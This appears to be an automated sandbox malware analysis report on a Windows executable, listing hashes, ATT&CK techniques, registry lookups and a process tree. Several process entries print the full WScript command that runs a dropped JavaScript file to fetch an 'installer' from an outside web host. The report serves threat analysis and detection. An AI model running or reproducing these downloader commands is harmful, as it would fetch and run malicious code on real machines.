34cb56225cbd27889c124e25f6d383f8fe6144de206bc6c58c2185b0ac5f02e5

General

Target
91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe
Size 184KB
Sample240603-m3cbkacb2x
SHA256 34cb56225cbd27889c124e25f6d383f8fe6144de206bc6c58c2185b0ac5f02e5
MD5 91883273b821130a85ea1e79ffe623b2
SHA1 4d18b22f8226c1b5b8ca115686f4fa941ed971d6
SHA512 77c03bc508b686034ac509a8d9ffd8da2d771d91a689ceccb0f4e90285281f81ce4e0ae32601e305d9ded92bd9762c4ef181b063a10093aefab6f40ccb4a0c92
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3V:/7BSH8zUB+nGESaaRvoB7FJNndnA
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	3264	WScript.exe
36	4808	WScript.exe
40	3752	WScript.exe
56	4520	WScript.exe
58	4360	WScript.exe
59	4360	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5100	2004	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 3264	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	83
PID 2004 wrote to memory of 3264	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	83
PID 2004 wrote to memory of 3264	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	83
PID 2004 wrote to memory of 4808	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	96
PID 2004 wrote to memory of 4808	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	96
PID 2004 wrote to memory of 4808	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	96
PID 2004 wrote to memory of 3752	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	97
PID 2004 wrote to memory of 3752	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	97
PID 2004 wrote to memory of 3752	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	97
PID 2004 wrote to memory of 4520	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	101
PID 2004 wrote to memory of 4520	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	101
PID 2004 wrote to memory of 4520	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	101
PID 2004 wrote to memory of 4360	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	102
PID 2004 wrote to memory of 4360	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	102
PID 2004 wrote to memory of 4360	2004	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5208.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5208.exe
  2⤵
  - Blocklisted process makes network request
  PID:3264
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5208.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5208.exe
  2⤵
  - Blocklisted process makes network request
  PID:4808
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5208.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5208.exe
  2⤵
  - Blocklisted process makes network request
  PID:3752
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5208.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5208.exe
  2⤵
  - Blocklisted process makes network request
  PID:4520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5208.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5208.exe
  2⤵
  - Blocklisted process makes network request
  PID:4360
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 1448
  2⤵
  - Program crash
  PID:5100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2004 -ip 2004
1⤵
PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf5208.js

Path C:\Users\Admin\AppData\Local\Temp\fuf5208.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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